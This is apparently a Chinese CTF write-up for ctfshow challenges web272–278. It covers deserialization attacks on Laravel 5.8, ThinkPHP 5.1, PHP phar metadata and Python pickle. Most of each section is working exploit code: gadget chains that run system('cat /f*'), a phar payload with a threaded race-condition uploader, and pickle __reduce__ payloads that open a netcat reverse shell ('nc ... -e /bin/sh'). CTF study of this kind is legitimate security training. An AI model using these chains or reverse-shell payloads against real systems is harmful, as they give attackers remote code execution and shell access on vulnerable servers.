web272 Laravel 5.8 框架 CVE

PHP/7.1.26 框架审计 Laravel 5.8登录前

可参考文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

有空会(咕咕预订…)额外写文章复现 (

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

其实还有挺多链的

https://www.anquanke.com/post/id/189718

image.png

web273 和web273一样

PHP/7.1.32框架审计Laravel 5.8登录前

PHP/7.1.32 框架审计 Laravel 5.8登录前

emm,说实话除了PHP版本细微差别,还不知道有啥区别,竟然 poc 一毛一样

有空会(咕咕预订…)额外写文章复现 (

image.png

web274 thinkphp5.1

nginx/1.16.1 PHP/7.3.11 框架审计 thinkphp5.1

thinkphp 5.1反序列化漏洞

参考文章:https://xz.aliyun.com/t/6619

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

数据接收方式

image.png

有空会(咕咕预订…)额外写文章复现 (

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

image.png

web275 命令执行拼接

PHP/7.3.11 nginx/1.16.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

分析:

看似花里胡哨,其实 __destruct 里的 system 可直接拼接,也就是设法让 $this->evilfile 置为 true ,然后拼接命令即可。

image.png

题外:第一眼看去这一读一写,长的这么想被我条件竞争的样子 (

web276 phar反序列化 条件竞争

nginx/1.16.1 PHP/7.3.11 phar反序列化 条件竞争
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

分析:

emm,在上题基础上新增了个判断 $this->admin 然后想着,构造一下序列化不就行了嘛,然后发现没有反序列化函数。。

看了下发现可以通过 file_put_contents 写 phar文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化。

不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到~

poc

phar构造如下,会在当前目录生成 evil.phar 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

条件竞争,py3脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import requests
import threading

flag = False
url = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/'
data = open('./evil.phar', 'rb').read()

pre_resp = requests.get(url)
if pre_resp.status_code != 200:
print(url + '\n链接好像挂了....')
exit(1)

def upload():
requests.post(url+"?fn=evil.phar", data=data)


def read():
global flag
r = requests.post(url+"?fn=phar://evil.phar/", data="")
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True

while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()

image.png

base64解码一下即可

image.png

题外

除了 file_put_contents 外,会把 phar 反序列化的函数还有:

受影响的函数列表
filename filectime (获取文件的inode更改时间) file_exists file_get_contents
file_put_contents file filegroup (获取文件的组名) fopen
fileinode (获取文件inode) filemtime (获取文件的修改时间) fileowner fileperms (获取文件权限)
is_dir is_executable is_file is_link (判断文件名是否为符号链接)
is_readable is_writable is_writeable parse_ini_file (解析配置文件)
copy unlink stat (获取文件相关信息) readfile (输入文件内容)

表格参考自:https://v0w.top/2020/03/12/phar-unsearise/

web277 python 反序列化

Werkzeug/1.0.1 Python/3.7.9 pickle 反序列化

image.png

Python反序列化,之前有过一些研究,晚点把Python反序列化基础链接更新上来~

尝试了很多,发现是无回显的,需要反弹shell

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import pickle
import requests

class Exp():
def __reduce__(self):
return(__import__("os").system, ('nc 服务器ip 服务器端口 -e /bin/sh',))

exp = Exp()
s = pickle.dumps(exp)
s_base64 = base64.b64encode(s)

url = 'http://7a111fcd-ce76-4dde-9c49-5aec7f2bd40f.challenge.ctf.show:8080/backdoor'
params={
'data': s_base64
}

requests.get(url, params)

先在服务器上监听

1
nc -lvvp 7779

image.png

运行脚本

1
python3 web277.py

image.png

回到服务器上 cat 一下即可

image.png

web278 python 反序列化 简单绕过

Werkzeug/1.0.1 Python/3.7.9 pickle 反序列化

和 web277 差不多,只不过过滤了 system,换个函数即可

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import pickle
import requests

class Exp():
def __reduce__(self):
return(__import__("os").popen, ('nc 服务器ip 服务器端口 -e /bin/sh',))

exp = Exp()
s = pickle.dumps(exp)
s_base64 = base64.b64encode(s)

url = 'http://e281b968-e161-414c-bd80-c7a79045351e.challenge.ctf.show:8080/backdoor'
params={
'data': s_base64
}

requests.get(url, params)

image.png


一些参考的题解

评论